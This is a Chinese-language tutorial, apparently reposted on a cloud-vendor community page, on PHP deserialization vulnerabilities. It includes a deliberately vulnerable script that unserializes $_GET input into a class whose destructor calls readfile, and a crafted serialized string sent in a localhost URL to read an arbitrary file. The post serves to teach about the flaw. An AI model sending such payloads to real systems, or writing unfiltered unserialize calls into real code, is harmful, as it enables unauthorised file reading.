PHP還原序列化漏洞學習

來源:互聯網
上載者:User

標籤:hex   clone   消失   輸出   sdn   property   過濾   something   輸入參數   

serialize:序列化

unserialize: 還原序列化

簡單解釋:

serialize 把一個對象轉成字串形式, 可以用於儲存

unserialize 把serialize序列化後的字串變成一個對象

我們來看一個執行個體:

<?php class F{    public $filename=‘a.txt‘;}$a = new F();echo $a->filename.‘<br />‘;echo serialize($a);

 

上面例子是建立一個類, 並輸出 filename的值 , 最後輸出序列化字串:

關於這一串:

O:1:"F":1:{s:8:"filename";s:5:"a.txt";}

簡單解釋:

O: 對像, 1 對象名長度, 就是這裡的 ‘F‘

s: 字串

8: 字串長度, 後面的filename為字串定義時的名字

詳細解釋可以百度找資料看, 因為這個不是本文重點。

這裡你可以看到, 我代碼裡的類定義為: class F, 這個序列化就是 F, 我定義變數名字是filename, 它這裡也是 filename, 我們可以修改看看:

 

 

可以看到序列化後的變數名字變成 filenameF 了。

 

看下面代碼:

 

<?php class F{    public $filenameF=‘bcda.txt‘;}$a = new F();echo $a->filenameF.‘<br />‘;echo serialize($a);

 

 

 

這是另一個代碼:

 

<?php class F{    public $filename=‘a.txt‘;}$a = new F();echo $a->filename.‘<br />‘;echo serialize($a);

 

 

 

這兩個代碼定義的類一樣, 只是屬性不一樣。

當我們用如下代碼反序列時:

<?php class F{    public $filename=‘a.txt‘;    function __destruct(){        echo ‘--------------><br />‘;    }}$a = new F();echo $a->filename.‘<br />‘;echo serialize($a);$b = unserialize(‘O:1:"F":1:{s:9:"filenameF";s:8:"bcda.txt";}‘);echo ‘<br />‘.$b->filename;echo ‘<br />‘.$b->filenameF;

 

可以看到解構函式輸出了兩次, 說明這兩個應是同一個類, 只是 $b 多出了一個屬性 filenameF, filename可直常輸出, filenameF也可正常輸出。

 

 

在PHP中, 類被建立或消失後, 都會自動的執行某些函數, 如:

__construct(), __destruct(), __call(), __callStatic(), __get(), __set(), __isset(), __unset(), __sleep(), __wakeup(), __toString(), __invoke(), __set_state(), __clone(), and __autoload()

 

或自動執行某些方法, 如:

Exception::__toStringErrorException::__toStringDateTime::__wakeupReflectionException::__toStringReflectionFunctionAbstract::__toStringReflectionFunction::__toStringReflectionParameter::__toStringReflectionMethod::__toStringReflectionClass::__toStringReflectionObject::__toStringReflectionProperty::__toStringReflectionExtension::__toStringLogicException::__toStringBadFunctionCallException::__toStringBadMethodCallException::__toStringDomainException::__toStringInvalidArgumentException::__toStringLengthException::__toStringOutOfRangeException::__toStringRuntimeException::__toString

 

 

我們就可以利用這種自動執行某些函數或方法的特性,執行我們相要的操作。

 

我們建立如下代碼:

<?php class F{    public $filename=‘d:\\phpstudy\\www\\a.txt‘;    #$filename為public    function __destruct(){        $data = readfile($this->filename);        echo $data;    }}$a = new F();echo $a->filename.‘<br />‘;

 

運行時如下所示:

 

 

 

因為 __sestruct 解構函式在一個類對象消失時, 會自動執行。 所以上面的代碼當運行結束時, 類對象 $a 消失後, 代碼會自動執行 __destruct() 函數。

 

假如我們建立一個如下的測試代碼:

<?php class F{    public $filename=‘d:\\phpstudy\\www\\a.txt‘;    #$filename為public    function __destruct(){        $data = readfile($this->filename);        echo $data.‘<br />‘;    }}$a = new F();echo $a->filename.‘<br />‘;$b = unserialize($_GET[a]);

 

這代碼中我們用unserialize反序列一個字串變成一個類對象, 也就是說這個代碼中, 會有兩個類對象, 一個是$a, 一個是使用者可控的$b ($b 中的filename可控, 因為class F中的 filename為public)。

當代碼運行結束時, 會運行兩個解構函式。 第一次啟動並執行解構函式中, filename為$a中預設的 ‘d:\\phpstudy\\www\\a.txt‘, 第二個因為是從$_GET[a]獲得字串, 所以我們可以控制第二個對象中的filename。

從而使得 __destruct 函數可以讀取到我們想要讀的檔案。

 

 

下面這個代碼中的類跟上面代碼的類一樣, 不同的地方是我們修改了filename的值, 並產生序列化字串:

<?php class F{    public $filename=‘a.txt‘;}$a = new F();$a->filename = ‘d:\\phpstudy\\www\\2.txt‘;echo serialize($a);

 

產生的序列化字串為:

O:1:"F":1:{s:8:"filename";s:21:"d:\phpstudy\www\2.txt";}

 

再建立一個 2.txt 檔案用於測試, 內容為:

password

 

 

現在,我們已改變了原來的 filename值,並產生了序列化字串, 再把它發送到測試代碼中去:

http://localhost/11.php?a=O:1:%22F%22:1:{s:8:%22filename%22;s:21:%22d:\phpstudy\www\2.txt%22;}

 

測試代碼除了有對象 $a 外, 還還原序列化建立了一個對象 $b, 而這個$b中的屬性filename被我們修改了。

最後運行兩次 __destruct解構函式時, 一次讀取了 a.txt, 另一次讀取了 2.txt。

 

最後總結一下:

<?phpinclude "xxx.php";#此檔案中有類定義, 有魔術函數或方法, 且輸入參數能被控制class Classname{    #存在有害魔術函數或方法,且輸入參數能被控制}do something...do something...do something...#存在還原序列化函數unserialize(‘使用者輸入有害參數未過濾‘)do something...do something...do something...

 

 

參考:

http://blog.csdn.net/qq_32400847/article/details/53873275

http://www.freebuf.com/vuls/80293.html

 

PHP還原序列化漏洞學習

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.